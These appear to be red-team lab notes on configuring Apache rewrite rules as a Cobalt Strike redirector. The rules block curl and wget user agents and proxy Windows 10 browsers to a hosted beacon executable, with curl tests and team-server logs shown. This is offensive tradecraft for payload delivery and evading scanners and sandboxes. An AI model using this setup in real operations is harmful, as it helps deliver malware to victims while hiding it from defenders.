Performing redirections based on a client's User Agent string can have a number of uses. We can redirect to specific browser exploits, block "script-style" agents such as curl, wget, Python and PowerShell; known AV scanners and sandboxes, and differentiate between desktop and mobile devices.

In this example, if the user agent contains "curl" or "wget", return a 403 forbidden.

RewriteEngine on

RewriteCond %{HTTP_USER_AGENT} curl|wget [NC]
RewriteRule .* - [F]

ubuntu@redirector-1 ~> curl -k https://localhost
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at localhost Port 80</address>
</body></html>

  

  Be aware of falling into traps that cause infinite loops by redirecting to another local URI which triggers the same rewrite rule over and over again.

Add a second RewriteCond and RewriteRule underneath - this is a very loose rule looking for Windows 10 devices.

RewriteEngine on

RewriteCond %{HTTP_USER_AGENT} curl|wget [NC]
RewriteRule .* - [F]

RewriteCond %{HTTP_USER_AGENT} "Windows NT 10.0" [NC]
RewriteRule .* https://localhost:8443/win-payload [P]

  

The [P] or Proxy directive is special because it proxies the request to our backend server in a way that's transparent to the requesting party.  Running curl in verbose mode, we don't see any indication that the response came from anywhere other than this Apache server.

ubuntu@redirector-1 ~> curl -v -k -A "Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko" https://localhost
[...snip...]
< HTTP/1.1 404 Not Found
< Date: Thu, 26 May 2022 15:50:29 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Content-Type: text/plain
< Content-Length: 0
<

  

Yet on the Team Server, we see a hit for `/win-payload`.

05/26 15:37:41 visit (port 443) from: 127.0.0.1
	Request: GET /win-payload
	Response: 404 Not Found
	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko

  

Generate an x64 stageless exe and host it on the Cobalt Strike web server.

  
![[11. User Agent Rules.png]]

  

Attempting to access it from curl with its default user agent just get's blocked as before.

ubuntu@redirector-1 ~> curl -k -v https://localhost/win-payload
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at localhost Port 443</address>
</body></html>

  

But it works if we use a user agent string that we're not blocking.

ubuntu@redirector-1 ~> curl -k -A "Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko" https://localhost/win-payload.exe

05/27 15:48:45 visit (port 443) from: 127.0.0.1
	Request: GET /win-payload.exe
	page Serves /home/ubuntu/cobaltstrike/uploads/beacon.exe
	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko